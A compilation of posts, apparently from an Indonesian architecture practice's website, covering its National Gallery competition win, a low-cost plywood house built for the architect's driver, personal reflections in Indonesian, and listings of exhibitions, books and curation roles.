Now, published in Indonesia, Bravacasa Indonesia will be a magazine in constant evolution following the changes in their target reader’s need for information. A distinguished magazine that deals with all the themes of interior architecture design, all kinds of rooms, products, furnitures, the latest styles and inclusive of the hottest items from bathrooms and kitchens.
With its motto “Design For Modern And Stylish Living”, Bravacasa Indonesia thrives to always be the best for its readers. The present of Bravacasa Indonesia with its contents enters a new dimension of ‘living’. It promotes and celebrates the diversity of great design and ideas.
The richness of Bravacasa Indonesia is definitely a perfect magazine that shares the whole concept of stylish and sophisticated living.
It has exclusive information about style/design solution, special articles, review, decor inspirations and lifestyle (art,travel, party and society).
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01 January 2014 “A new year is unfolding–like a blossom with petals curled tightly concealing the beauty within. – Unknown”
Roseto – Big Family
2014 sudah akan menampakkan wujudnya, 2013 sudah akan menjadi masa lalu. Lalu apa yang akan terjadi di rentang waktu yang ada dimana masa depan akan muncul tanpa diminta. Waktu memang menjadi satu hal yang paling berharga dimana orang – orang akan berjuang untuk mendapatkan waktunya sendiri, meminta waktu untuk dirinya, emosinya, harga dirinya yang menanti untuk dituangkan dalam catatan sehari – hari. Mengenai masa depan, kita tidak akan pernah tahu. Terkadang diri ini juga tidak pasti mengenai masa depan. Malam tahun baru ini dihabiskan untuk menikmati waktu bersama keluarga, kami tidak pergi kemana – mana, hanya di ibu kota Jakarta ini, Laurensia membantu sehari – harinya di liburan ini untuk menyelesaikan pekerjaan – pekerjaan administrasi yang belum selesai, sementara diri ini meluangkan waktu untuk menata, membereskan kantor, membereskan komputer – komputer kantor, server, ya singkatnya bersih – bersih. Pernah ada satu orang bertanya, “kenapa sih ngga pakai office boy, atau IT kantor ?” Diri ini juga berpikir mungkin ada baiknya ide tersebut, mungkin sebabnya karena belum ada orang saja yang melamar, atau diri ini berpikir kantor arsitek saya ini masih kecil, hanya berisi 15 orang saja dengan 7 orang anak – anak magang yang datang dan pergi. Beruntung kantor sekarang sudah memiliki sopir dan tenaga administrasi sekarang yang sudah sedemikian baiknya membantu urusan ini. Mungkin diri ini masih berpikir secara tradisional bahwa membersihkan meja kantor adalah tugas kita sendiri, juga meja – meja lain yang masih kotor cuma dibutuhkan 2 tangan, 2 kaki, 1 kepala untuk mengambil ember, lap dan kemudian bersih – bersih. Diri ini percaya semua hal – hal besar dimulai dari hal yang sederhana, 2 tangan , 2 kaki, dan 1 kepala. Kamipun masih bisa tertawa waktu ditanya “Kalian ngga kemana – mana liburan ?” ini saat – saat yang kritis, jawab kami. Dari Laurensia diri ini belajar untuk hidup sederhana, kami masih bukan apa – apa.
Di 2013 diri ini bersyukur untuk mendapatkan dukungan yang semakin dalam dari Laurensia, istri yang terbaik. Setiap langkah dan nafas menjadi ringan dengan naik dan turunnya hidup. Ia membantu diri ini untuk menjalankan kehidupan sehari – hari, menyiapkan makan pagi, makan siang bersama, dan kemudian makan malam. Ia juga mengingatkan saat – saat penting dimana harus beristirahat, berdoa, ataupun sampai hal – hal yang sederhana seperti jangan mandi terlalu malam. Sama seperti ketika diri ini terkapar tidak berdaya karena kecapaian bekerja di perpindahan tahun baru kemarin. Dunia luar terkadang penuh hingar bingar sehingga menyilaukan mata, dunia yang kita jalani sehari – hari ini yang membentuk cerita hidup ini seutuhnya, dunia yang penuh dukungan orang- orang yang tersayang.
Arsitektur dengan dimensinya yang terukur, memiliki rasa yang penting dalam pengalaman sekuensial yang dialami penggunanya. Pengalaman ini adalah satu usaha untuk menikmati ruang yang kompleks, indah dengan cahaya, suara alam, dan berguna sesuai hakikinya. Satu karya lansekap di kota Singa itu ada begitu indahnya, suatu nuansa lansekap dari berbagai belahan dunia, kumpulan koleksi yang ada untuk dinikmati di daerah tropis. Ini tidaklah mungkin tanpa solusi radiant cooling sebagai pendingin ruangan dimana jarak atap ke lantai yang begitu tinggi. Disini teknologi dan integrasi dengan disiplin lain menjadi satu kelebihan. Arsitektur itu muncul dari pertanyaan – pertanyaan mengenai bagaimana mencipta ruang yang lebih baik untuk penggunanya, dan lebih tinggi lagi lebih baik untuk alamnya. Mungkin semua dimulai dari pertanyaan apakah bisa lebih baik daripada masa kini.
Teman terbaikku pernah berpesan tidak perlu takut jangan pernah takut jatuh, orang yang takut jatuh adalah orang yang ada di atas. Orang yang ada dibawah adalah orang yang paling bahagia, ia selalu menatap ke atas. Diri ini merasakan hangatnya tanah kemudian menengok ke atas, langit itu begitu biru, 2014 sudah datang.
“Yang kamu sudah baikan hari ini ?” Laurensia bertanya, diri ini menjawab “sudah, terima kasih ya sayang, Happy New Year.”
Features : The two volumes mixed program combined as tower and podium, in order to enable separate circulation and different function accommodating best practice for school and living activity. The interlocking volumes inside two mixed volumes creating void which taking advantage of the benefits of the cross air circulation.
Client: University of Pelita Harapan
Principal Architect : Realrich Sjarief
Project Team : Septrio Effendi, Miftahuddin Nurdayat, Rio Triwardhana, Bambang Priyono, Imam Setiawan, Rofianisa Nurdin
Collaborating Architect and Interior Designer: Leni Sindhu Associates
Management Construction : Optima
Structural Engineer: Sinergi
Quantity Surveyor: Owner
M+E Engineer: Owner
General Contractor : Pulau Intan
We won National Gallery of Indonesia.The design of the Galeri Nasional Indonesia ( Indonesian National Gallery ) complex is inspired by the beauty of the sky and the warmth of the earth with an intention similar to the heritage building of Galeri Nasional located right in the middle of the complex. The heritage building, built during the Dutch-Indies government era, will be framed with a gallery with an expression of greeneries representing the earth, and in the background will be the office or administrative building of the Galeri Nasional which represents the sky.
The lobby is located in the heritage building, making this building a hub for entrance and egress. A skybridge connects the heritage building with the gallery building that frames it. The reception plaza is located on the western side of the Galeri Nasional Indonesia, with a pedestrian path open to the banks of Ciliwung River. An art plaza concept will be built along the east-west axis, and art stores will be located on the north and south sides.
The design of the Galeri Nasional complex is based on the intention to maintain the image of the heritage building whose plot is only 70 meters wide; quite small when compared to the width of the heritage building itself, which is 22 meters. Therefore, the design intervention chosen for this site is landscape as the side architecture of the museum, flanking the heritage building. Connectivity is maintained through a public access from the Monumen Nasional (Monas) to the art shop in the central space of the gallery through underground tunnel. In the master plan, this connectivity issue is continued to the Ciliwung River, allowing art activities on its banks.
The master plan development is divided into two stages. The first stage is focused on the main area, the Galeri Nasional area. On this first stage, it is assumed that the land around the Galeri Nasional is in the acquisition process, thus the development is focused on the Galeri Nasional itself. The first stage, as the main function of the national gallery, can be run independently. The second stage will be conducted in the subsequent development, when the land is acquired. In the second stage, the supporting facilities of this gallery complex-convention center, auditorium, and a hotel located on the north side of the complex, facing the Monas and Gambir train station-will be built.
In general, the building masses of the Galeri Nasional Indonesia complex respond to two main axes. The Monas axis and the Galeri Nasional heritage building which was connected to the Gambir train station. The Monas axis is realized through the construction of an underground tunnel.The front and rear side of the Galeri Nasional complex hold interconnected open plazas as a response to the Monas area (at the front) and the Ciliwung River (at the rear).
The Galeri Nasional Indonesia depicts the simplicity of Indonesian architecture in harmony with nature where earth and sky merge.
Principal Architect : Realrich Sjarief
Team : Happy Marfianta, Apriani Sarashayu, Septrio Effendi, Tatyana Kusumo, Miftahuddin Nurdayat, Maria Vania, Muhammad Iqbal Zuchri, Christiandy Pradangga, Donald Aditya, dan Mukhamad Ilham.
SAYEMBARA PROYEK DESAIN ARSITEKTUR PENGEMBANGAN BANGUNAN GALERI NASIONAL INDONESIA Galeri Nasional Indonesia (GNI) merupakan salah satu lembaga kebudayaan berupa museum khusus dan pusat kegiatan seni rupa, sebagai salah satu Unit Pelaksana Teknis di lingkungan Kementerian Pendidikan dan Kebudayaan yang bertugas melaksanakan pengkajian, pengumpulan, registrasi, perawatan, pengamanan, penyajian dan pameran karya seni rupa. Dalam melaksanakan tugas tersebut, Galeri Nasional Indonesia menyelenggarakan fungsi pelaksanaan pengkajian, pengumpulan dan registrasi, perawatan dan pengamanan, penyajian dan pameran, kemitraan, layanan edukasi, pendokumentasian, publikasi, dan pelaksanaan urusan ketatausahaan Galeri Nasional Indonesia. Sejalan dengan perkembangan zaman, berdasarkan latar belakang perjalanan tersebut diatas dan mengantisipasi kondisi terkini guna menyelaraskan pencapaian visi tersebut, Galeri Nasional Indonesia membutuhkan masukan dari para stakeholder mengenai rencana pengembangan bangunan yang saat ini kebutuhannya dirasa mendesak seiring berkembangnya fungsi dan aktivitasnya sesuai visi dan misi Galeri Nasional Indonesia. Untuk itu diharapkan melalui kegiatan Sayembara Proyek Desain Arsitektur Pengembangan Bangunan Galeri Nasional Indonesia pada Kawasan Pengembangan Kebudayaan Nasional ini dapat membuka ruang partisipasi publik secara lebih luas dalam merencanakan konsep pengembangan Galeri Nasional Indonesia melalui gagasan dan karya arsitektural yang terbaik.
JUMLAH HADIAH : 465 JUTA RUPIAH JADWAL SAYEMBARA
17 Juli 2013 Pengumuman 17 Juli — 28 Ags 2013 Pendaftaran dan Pengunduhan Dokumen Sayembara 25 Juli 2013 Pemberian Penjelasan (aanwijzing) 28 Ags 2013 Batas pemasukan karya 31 Ags 2013 Penjurian 02 Sept 2013 Pengumuman Pemenang 17 Sept 2013 Penyerahan Hadiah Pemenang
Dewan Juri: DR.Ir. Ady R. Thahir,MA Pakar Sustainable Development Ir. Arya Abieta Pakar Konservasi
Ir. Baskoro Tedjo Arsitek Praktisi
Ir. Isandra Matin Wakil Galeri Nasional Indonesia
Sunaryo Budayawan
Hasil: Tiga (3) Pemenang Satu (1) Penerima Penghargaan Khusus Informasi lebih lanjut: http://www.sayembara-iai.org
RAW won National Gallery of Indonesia.The design of the Galeri Nasional Indonesia ( Indonesian National Gallery ) complex is inspired by the beauty of the sky and the warmth of the earth with an intention similar to the heritage building of Galeri Nasional located right in the middle of the complex. The heritage building, built during the Dutch-Indies government era, will be framed with a gallery with an expression of greeneries representing the earth, and in the background will be the office or administrative building of the Galeri Nasional which represents the sky.
The lobby is located in the heritage building, making this building a hub for entrance and egress. A skybridge connects the heritage building with the gallery building that frames it. The reception plaza is located on the western side of the Galeri Nasional Indonesia, with a pedestrian path open to the banks of Ciliwung River. An art plaza concept will be built along the east-west axis, and art stores will be located on the north and south sides.
The design of the Galeri Nasional complex is based on the intention to maintain the image of the heritage building whose plot is only 70 meters wide; quite small when compared to the width of the heritage building itself, which is 22 meters. Therefore, the design intervention chosen for this site is landscape as the side architecture of the museum, flanking the heritage building. Connectivity is maintained through a public access from the Monumen Nasional (Monas) to the art shop in the central space of the gallery through underground tunnel. In the master plan, this connectivity issue is continued to the Ciliwung River, allowing art activities on its banks.
The master plan development is divided into two stages. The first stage is focused on the main area, the Galeri Nasional area. On this first stage, it is assumed that the land around the Galeri Nasional is in the acquisition process, thus the development is focused on the Galeri Nasional itself. The first stage, as the main function of the national gallery, can be run independently. The second stage will be conducted in the subsequent development, when the land is acquired. In the second stage, the supporting facilities of this gallery complex-convention center, auditorium, and a hotel located on the north side of the complex, facing the Monas and Gambir train station-will be built.
In general, the building masses of the Galeri Nasional Indonesia complex respond to two main axes. The Monas axis and the Galeri Nasional heritage building which was connected to the Gambir train station. The Monas axis is realized through the construction of an underground tunnel.The front and rear side of the Galeri Nasional complex hold interconnected open plazas as a response to the Monas area (at the front) and the Ciliwung River (at the rear).
The Galeri Nasional Indonesia depicts the simplicity of Indonesian architecture in harmony with nature where earth and sky merge.
Principal Architect : Realrich Sjarief
Team : Happy Marfianta, Apriani Sarashayu, Septrio Effendi, Tatyana Kusumo, Miftahuddin Nurdayat, Maria Vania, Muhammad Iqbal Zuchri, Christiandy Pradangga, Donald Aditya, dan Mukhamad Ilham.
Bare Minimalist, house which is designed by Realrich Sjarief and team for Charles Wiriawan and Family is published in House by Indonesian Architect Book by Imelda Akmal Architecture Writer Studio.
Imelda Akmal is an architect who studied Architectural History, Theory and Critique at AA School of Architecture, London, United Kingdom. Beside Indonesia and UK, she had been lived in Singapore and Australia. She dedicated her life to write architecture and interior books. Then she established Imelda Akmal Architectural Writer Studio (IAAW Studio) in accordance with her commitment to introduce architects and their work to local and international public through the books.
The studio conducts every process of book composing, from the concept development, writing, styling, photography, layout design, up to the printing process with the publisher. Over a decade, IAAW Studio produced more than 80 architecture and interior books. Start from monthly edition, coffee table books and monographs. Many of them are best seller books.
Starts from 2010, IAAW Studio produces bilingual books in Bahasa Indonesia and English to Asia’s market. This is one of IAAW’s commitments to introduce Indonesian architecture and interior design throughout the world. (less) [Ref:http://www.goodreads.com/author/show/744633.Imelda_Akmal]
Sliced Wood, a furniture designed by Realrich Sjarief is in Biennale Desain Kriya 2013. Here is the note from the committee
Kementerian Pariwisata dan Ekonomi Kreatif mengundang Anda untuk mengikuti acara Biennale Desain & Kriya Indonesia 2013 yang akan secara resmi dibuka untuk publik tanggal 20 Desember 2013 sampai dengan 19 Januari 2014.
Penyelenggaraan kali ini membawakan tema “GeoEtnik” yang memamerkan dan memperbincangkan tentang karya dan wacana tentang potensi budaya dan lingkungan lokal sebagai kontribusi terhadap solusi global. Tema ini akan direpresentasikan dalam tiga program: Eksibisi, Forum dan Lokakarya.
Konsep dan tema biennale ini dirancang dan dikembangkan oleh Komite Pengarah yang anggotanya: Wagiono Soenarto (ketua), Chandra Johan, Diana Nazir, Dina Midiani, Eddy Soetriyono dan Imelda Akmal; serta yang berperan sebagai Tim Kurator adalah: Irvan Noe’man (ketua), Solichin Gunawan, Harry Purwanto, Eko Prawoto dan Taruna Kusmayadi.
Eksibisi Desain & Kriya
Eksibisi Biennale Desain & Kriya dipamerkan dalam dua bentuk: Eksibisi Individual dan Kolaborasi. Eksibisi Individual akan menghadirkan karya dari: Achmad Haldani, Afif Syakur , Agus Windharto, Ahadiat Joedawinata, Ahmad Nizam, Ali Charisma , Alvi Lufiani, Andar Bagus , Arie Wibowo, Arief (Ayip) Budiman, Ary Indra , Audrey Chaerunnisa, Bintan Titisari, Deddi Setia Dharma, Deddy Wahyudi , Dian Widiawati, Eka Sofyan Rizal, Eny Ming , Erwin Firmansyah, Fitorio Leksono , Gede Kresna, Hadhi Siswanto, Harry Ibrahim , Harry Mawardi, Irwan Ahmett , Ismiaji Cahyono, Iwan Sastrawiguna , Janardana Gandasubrata, Jimmy Fey Fey , John Martono , M. Arief Budiman, Markus Sugiaman , Meizan Nataadiningrat, Nancy Margried , Natas Setiabudh, Noor Ari, Novita Angka , Nuniek Mawardi , Oka Diputra , Ramadhoni Dwi Payana
, Realrich Syarief , Rendy Himawan, Rudy Dodo, Savira Lavinia Raswari, Setiadi Sopandi, Subandinah, Suwardana Winata , Tegep Oktaviansyah, Toton Januar, Toufiq Panji Wisesa , Wignyo Rahadi, Xenia Palar, Yan Mursid dan Yasser Rizky.
Eksibisi Kolaborasi akan menampilkan karya dari:
(1): Budi Pradono + Adelinah Chandra + Abie Abdillah,
(2): Andra Matin + Hermawan Tanzil,
(3): Alvin Tjitrowirjo + Tiarma Dame Ruth Sirait + Abdul Sobur,
(4): Rinaldy A Yunardi + Sandy Karman + Mariska Adriana,
(5): Dharma Prayoga + Gilang L Mandiri + Susan Budihardjo,
(6): Zanun Nurangga + Kahfiati Kahdar + Suyin + Joshua Simandjuntak,
(7): Biranul Anas Zaman + Sarah Ginting + Francis Surjaseputra,
(8): Yoshi Fajar Kresno Murti + Mizan Allan de Neve + Sir Dandy,
(9): Timbul Rahardjo + Gamia Dewanggamanik + Panca DZ,
(10): Deden Siswanto + Andry Masri,
(11): Adhi Nugraha + Ilhamia Nuantika + Ahmad ‘Sofie’ Sofiyulloh,
(12): Adi Panuntun + Rina Renville + Yu Sing, serta
(13): Titiana Irawani + Ayu Joddy.
Seluruh acara Biennale Desain & Kriya sepenuhnya akan diselenggarakan di Galeri Nasional Indonesia, Jl. Medan Merdeka Timur No. 14, Jakarta Pusat. Untuk informasi lengkap dapat menghubungi panitia dengan: Adlien (0812-8466-4899) & Mangesty (0813-1047-5934).
Bare Minimalist, house which is designed by Realrich Sjarief and team for Charles Wiriawan and Family is published in House by Indonesian Architect Book by Imelda Akmal Architecture Writer Studio.
Imelda Akmal is an architect who studied Architectural History, Theory and Critique at AA School of Architecture, London, United Kingdom. Beside Indonesia and UK, she had been lived in Singapore and Australia. She dedicated her life to write architecture and interior books. Then she established Imelda Akmal Architectural Writer Studio (IAAW Studio) in accordance with her commitment to introduce architects and their work to local and international public through the books.
The studio conducts every process of book composing, from the concept development, writing, styling, photography, layout design, up to the printing process with the publisher. Over a decade, IAAW Studio produced more than 80 architecture and interior books. Start from monthly edition, coffee table books and monographs. Many of them are best seller books.
Starts from 2010, IAAW Studio produces bilingual books in Bahasa Indonesia and English to Asia’s market. This is one of IAAW’s commitments to introduce Indonesian architecture and interior design throughout the world. (less) [Ref:http://www.goodreads.com/author/show/744633.Imelda_Akmal]
15 years of the National Gallery of Indonesia : process & progress / tim penulis, Tubagus Andre Sukmana, Citra Smara Dewi, Asikin Hasan, Willy Hangguman, Yusuf Hartono ; editor, Siti Turmini, Dewi Yogisworo, Bayu Genia Krishbie ; penterjemah, Ricky Zulkifli, Sonya Sondakh, Zivana Sabili
Bib ID 6447453
Format BookBook [text, still image, volume]
Author
Sukmana, Tubagus “Andre”, author
Description [Jakarta] : Galeri Nasional Indonesia, Direktorat Jenderal Kebudayaan, Kementerian Pendidikan dan Kebudayaan Republik Indonesia, [2013]
319 pages : colour illustrations, colour photographs ; 25 cm
ISBN 9786021483022
Notes
Indonesian and English.
Subjects Galeri Nasional Indonesia. | Art museums – Indonesia – Jakarta. | Arts, Indonesian – Indonesia. | Art and society – Indonesia. | Art and state – Indonesia.
Other authors/contributors Dewi, Citra Smara, author | Hasan, Asikin, author | Hangguman, Willy A. (Willybrordus Angelicus), 1959- author | Hartono, Yusuf, author | Turmini, Siti, editor | Yogisworo, Dewi, editor | Krishbie, Bayu Genia, editor | Zulkifli, Ricky, translator | Sondakh, Sonya, translator | Sabili, Zivana, translator | Galeri Nasional Indonesia, issuing body
Also Titled
Fifteen years of the National Gallery of Indonesia
Process & progress
“Believe in this world – that there is meaning behind everything.” Vivekananda
Malam ini sunyi senyap, hari ini pun hari biasa, dengan kicauan suara burung – burung yang ada di taman sebelah rumah. yang berbeda adalah diri ini bangun lebih pagi dari biasanya, sekarang jam 3 pagi. Diri ini pun merenung terdiam mengenai apa saja yang sudah terjadi dalam hidup sampai hari ini. Sejenak diri ini bersyukur, bahwa sudah dikaruniai nafas kegagalan, nafas keberhasilan, dan nafas yang diberikan untuk bisa merenungi inti dari kehidupan ini. Untuk apa kita ada disini.
Melalui kerja nyata romo mangunwijaya membantu masyarakat, ada satu renungan tulisan dr Mohammad Sobary, “… Beliau menemukan suatu renungan mengenai memuja kebesaran Tuhan bukan di altar melainkan di pasar… melalui tradisi”topo ngrame”. Memuja Tuhan bukan di ruang terbatas,… tetapi sebaliknya,pemujaan itu tampil dalam kerja, dalam kesibukan mewujudkan proyek – proyek kemanusiaan, di tengah masyarakat. Kalau perlu, dan itu selalu perlu, di tengah masyarakat kaum miskin yang memerlukan bantuan.”Sobary(2014:xix) dalam buku kata – kata terakhir Romo Mangun, sebuah perjumpaan hangat di ujung perjalanan.
Roseto – 2014
Preparation in the workshop – 2012 – temporary structure
“Pak bagaimana kehidupan di kampung bapak, apa bapak punya keluarga, istri, anak – anak ?” Tanya diri ini ke satu tukang kayu yang merantau setiap minggunya pulang pergi ke daerah Sukabumi, Jawa Barat. Untuk hidup di masa depan, diri ini percaya bahwa masa lalu adalah masa lalu, usaha untuk menjalani masa depan adalah usaha untuk melihat masa depan, oleh karena itu kita selalu hidup dalam rantai ketika. Ketika kita berbicara dengan sekitar, dengan hidup, dari situlah kita bisa memahami indahnya rajutan kehidupan.
Saya dulu punya istri pak, tapi istri saya meninggal, karena kanker payudara, dulu saya bawa dia ke rumah sakit hasan Sadikin Bandung, namun saya ngga punya uang pak, jadi istri saya tidak bisa berobat. Dalam hati ini , tidak bisa membayangkan ada di posisi dia. Dengan segala keterbatasannya, ia bergulat dengan craftmanship yang dimilikinya. Saya pikir ini realitas yang ada, kehidupan yang diwarnai himpitan ekonomi.Kalau ada kesempatan, ingin sekali meningkatkan penghidupan mereka, para tukang – tukang terbaik, untuk mendapatkan penghargaan setinggi – tingginya. Dalam kapasitas diri ini yang akan meningkat, tanggung jawab akan orang – orang di sekitar ini pun meningkat, bahwa mereka harus mendapatkan penghidupan yang layak. Bisa menabung, untuk hari tuanya, sekaligus bisa mengekspresikan dirinya melalui karya.
Susunan kombinasi triplek rangka
Arsitek dalam praktik sehari – hari pada hakikatnya adalah satu pribadi yang mengetahui seni membangun dan teknik membangun, sehakikatnya membuka diri untuk berdialog dengan orang – orang untuk mempelajari teknik membangun yang lebih baik, mungkin juga dengan para tukang ini, para pemilik rumah, pada alam, pada tanah, dan mungkin lagi pada langit. Mungkin saja dari situ ia bisa mendapatkan pasir putih, butiran – butiran yang tersisa sebagai inspirasi dalam desain arsitektur yang dicoretkannya. Bahwa memang itu lah hakikatnya, mendesain bangunan yang lebih baik.
Oleh karena itu, kali itu diri ini membuat satu desain untuk sopir pribadi yang sudah seperti keluarga saya sendiri, ia menemani diri ini sehari – hari, orang yang tahu nafas kegagalan, dan nafas keberhasilan sehari – hari saya. Namanya Pak Misnu, istrinya bernama Sri, ia memiliki 3 anak, yang pertama namanya nurul, yang kedua aisyah, yang ketiga Tria.
Rumah Pak Misnu sebelum dibangun
Cetakan mini pile dari pelat besi bekas
Persiapan pemasangan cetakan pondasi mini pile
Umpak Kayu yang dicor ke beton
Susunan kombinasi triplek rangka
pola keramik di kamar mandi
Rumah ini didesain dari material yang sederhana, dari triplek 9mm, 12mm, 15 mm, 18 mm, dengan menggunakan pondasi umpak dengan kayu papan bengkirai 30 mm x 145 mm dengan ketinggian 50 cm yang dicor ke umpak beton. Desain dimulai dari melihat keseharian, banyaknya potongan triplek – triplek di workshop dengan menguji, apa yang bisa muncul dari satu keterbatasan bahan, kayu triplek, dengan keterbatasan kekuatan yang dipunyainya, dengan 2 orang tukang kayu yang ada, dengan dimensi yang terbatas. Oleh karena itu susunan ketebalan dimensi yang merupakan inti kekuatan triplek menjadi penting dimana triplek ditumpuk sehingga menyerupai kaso supaya kekuatannya bisa ditambah. Rumah ini menggunakan modul 1.2 x 2.4 m setiap kolomnya dengan jarak umpak per 2.4 m. Keluarga Pak Misnu juga membutuhkan satu warung di depan, oleh karena itu kemudian bagaimana pagar yang juga berfungsi sebagai warung ini bisa dibuka dengan dinding. modul GRC putih 150 mm x 600 mm disusun horisontal. Sebagian atap yang digunakan adalah atap alumunium foil yang didapatkan dari daur ulang dari kardus susu ultra. Dari ongkos membangun rumah ini bisa mencapai ongkos 1 juta per m2. rumah ini pun masih berevolusi, karena proses tinggal ada sepanjang karya itu bisa memberikan hal positif terhadap penghuni dan diskursus arsitektur akan dimulai lagi dengan evaluasi satu desain terhadap karyanya, berputar dalam iterasi untuk membuat desain yang lebih baik.
Persiapan pemasangan cetakan pondasi mini pile
Cetakan mini pile dari pelat besi bekas
Umpak Kayu yang dicor ke beton
Saya punya janji ke diri ini sendiri, kalau sudah ada sedikit kemampuan nanti, orang – orang yang menikmatinya yang pertama harus orang yang terdekat yaitu keluarga, kemudian orang – orang yang berkerja untuk kita, barulah orang lain sekitar kita. Rumah ini untuk supir pribadi saya, pak Misnu dan keluarganya yang sudah seperti keluarga sendiri, ia sudah berkerja sejak saya masih kecil.
pintu masuk ke workshop tukang di belakang
Di belakang rumah pak misnu diletakkan satu workshop untuk bereksprimen mengenai detail arsitektur, detail sambungan kayu, uji coba mock up, ataupun melayani relasi – relasi dan mungkin juga orang – orang yang baru dikenal dimana workshop ini akan tumbuh dan berkembang bersama rumah pak Misnu. Workshop yang baru ini didesain dengan modul 3 m menggunakan kayu jambi dengan sistem umpak beton, disini sistem pertukangan yang ada di dasarkan pada budaya saling mengajarkan, dengan pembagian yang merata, bonus – bonus per proyek . Diri ini mencoba menjawab masalah – masalah hidup yang tidak layak dari diskursus yang dilakukan Adi Purnomo dalam acara diskusi Venice Bienale beberapa saat yang lalu, dimana beliau menampilkan standar kualitas hidup yang rendah dan pentingnya menghargai para pembangun kita . Diri ini berpikir semoga disini tukang dibayar lebih, namun berkerja lebih baik, bisa membuat lebih rapih, dan menjaga craftmanship lebih baik, dari situ kita bisa dihargai lebih. semua berpulang dari satu keinginan untuk hidup yang lebih baik, untuk semua orang. Kita sudah punya satu project manager, sudah ada 4 tukang tetap yang terus menerus berproduksi , workshop ini sudah membuahkan 2 beasiswa untuk keluarga tukangnya sebesar 24 juta rupiah, bonus – bonus per-bulannya, tunjangan – tunjangan dan akan terus berbuat menyebarkan kebaikan kepada sesama.
pesanan sudah mulai datang dari orang – orang yang bersimpati untuk membantu. Saya bilang ke tukang – tukang, saya pesan, kita buat produk yang murah dan bagus, orang – orang pasti akan mau memesan. Curahkan seluruh tenaga kita untuk membuat produk yang bagus.Garis tangan yang di buat, ada untuk dinikmati bersama. berpikir punya banyak klien yang minta didesainkan rumah, ini juga menjadi satu titik perenungan, untuk apa kita ada. ini adalah satu buah karya untuk meneruskan pesan almarhum Robi Sularto. Architecture as Dharma not merely as a profession.Ijinkan saya perkenalkan nama rumah ini Murakabi, dari bahasa sansekerta artinya bermanfaat untuk semua.
Sketsa Denah Rumah Pak Misnu dengan jarak antar kolom per 2.4 m
House at Cendana is on construction. The house featured linear continuous skylight above shining the wall space in narrow 8 m x 50 m lot size. The design intent is to break the depth of the deep lot size into one integrated tropical design and creating efficient planning design.
Architecture Grand Festival (AGF) Merupakan suatu Program Kerja HIMARS untuk merealisasikan visi dan misi bersama sebagai suatu organisasi kemahasiswaan dan juga sebagai wujud apresiasi kami terhadap perkembangan di dunia arsitektur masa kini.
Maka, HIMARS bermaksud mengadakan kegiatan bernama Architecture Grand Festival. Sesuai dengan namanya, kami bermaksud mengadakan pameran gabungan berbagai jenis hasil karya mahasiswa arsitektur Binus University dengan workshop, talkshow dan seminar arsitektur yang di harapkan dapat menjadi sarana dalam menambah ilmu pengetahuan tentang arsitektur baik dalam segi pendidikan maupun perkembangan dunia arsitektur masa kini. Serta sebagai sarana publikasi ke masyarakat luas. Acara ini diperuntukan bagi mahasiswa/i Arsitektur se-Indonesia dan masyarakat luas.
Realrich is selected as currator for Palapa Project together with Andre Klauser, Alexander Taylor, Ben Wilson, Bridget Fleming, Chandra Johan, Francis Surjaseputra, Freyja Serwell, Martin Postler, Nancy Margried, Sou Fujimoto, Suzanne Lussier, Stelios Geros, Tex Saverio, dan Yoshiko Ikoma.
Here is one of the publication by media :
Bertempat di Auditorium William Soeryadjaya, Prasetiya Mulya Business School BSD City, Rabu (5/9), dipamerkan 30 produk kreatif hasil karya mahasiswa Indonesia. Semua produk kreatif ini merupakan hasil dari Kompetisi Palapa Project yang telah berlangsung sepanjang Maret hingga Juli 2013. Kompetisi ini terbuka bagi para mahasiswa seluruh Indonesia. Hasil karya yang masuk selanjutnya dikurasi sehingga terpilih 30 produk kreatif yang akan dibawa ke London untuk dipamerkan di sana. Kurator yang terlibat dalam project ini pun tidak sembarangan. Ada 15 kurator internasional yang ikut berpartisipasi, lima orang di antaranya berasal dari Indonesia. Ke-15 kurator tersebut adalah: Andre Klauser, Alexander Taylor, Ben Wilson, Bridget Fleming, Chandra Johan, Francis Surjaseputra, Freyja Serwell, Martin Postler, Nancy Margried, Realrich Sjarief, Sou Fujimoto, Suzanne Lussier, Stelios Geros, Tex Saverio, dan Yoshiko Ikoma.
Dari 30 produk kreatif yang berhasil menarik perhatian para kurator, dipilih tiga peringkat teratas yang akan ikut ke London guna menjelaskan karya mereka di depan publik. Peringkat pertama adalah Astrajingga dari Bandung. Produknya adalah sunglasses dengan bingkai kayu. Desain tersebut terinspirasi dari bentuk blangkon, sehingga motif warna kayunya juga meruncing di bagian tengah layaknya blangkon. Masih dari Bandung, di peringkat kedua ada Mandaka dengan produk berupa lampu gantung yang bagian luarnya berlapis kain lurik. Sedangkan tas tangan wanita Webe duduk di peringkat ketiga. Webe merupakan satu dari enam produk hasil karya mahasiswa Prasetiya Mulya yang masuk dalam 30 produk terpilih.
Menurut Albert Arron Pramono dari PPI UK (Perhimpunan Pelajar Indonesia – United Kingdom) selaku penyelenggara, Palapa Project ingin menghubungkan Indonesia dan Inggris lewat ekonomi kreatifnya. Ketika krisis ekonomi melanda Eropa, Inggris bisa dibilang satu-satunya negara yang berhasil selamat. Hal itu dikarenakan ekonomi kreatifnya yang telah maju dan kuat. Belajar dari situ, PPI UK ingin mengembangkan ekonomi kreatif di Indonesia dengan membangun networking antara pelaku ekonomi di Indonesia dengan pelaku ekonomi sekaligus pasar di Inggris.
Yang ingin ditunjukkan dengan adanya Palapa Project ini adalah Indonesia bisa menghasilkan produk kreatif, dan bukan hanya sekadar batik. Produk-produk yang masuk ke Palapa Project harus memiliki filosofi yang berakar dari kultur bangsa Indonesia. Sedangkan penilaiannya dilihat dari enam elemen, yaitu: design, content, feature functionality, usability, marketability, dan standard compliance. Untuk memasukkan karyanya, mahasiswa tersebut harus membentuk tim bersama seorang pengrajin. Mengapa?
“Mahasiswa biasanya penuh dengan ide tapi belum punya skill dan pengalaman. Nah, kekurangan itulah yang dilengkapi oleh pengrajin,” jelas Albert.
Di London, 30 produk kreatif terpilih tersebut akan dipamerkan di Bargehouse pada 4-6 Oktober 2013. Selain artist talk dengan para peringkat 1-3 dan kurator, agenda pameran tersebut adalah workshop serta networking night. Untuk info lebih lengkap tentang Palapa Project, bisa dilihat di web palapanetwork.com atau email ke enquiries@palapanetwork.com
Bare Minimalist is in Dwell Indonesia Vol 3 2013. Dwell Indonesia published Home in the Modern World, Indonesia’s smartest modern homes, the newest Indonesian design, and talking about how to make our cities and world better.
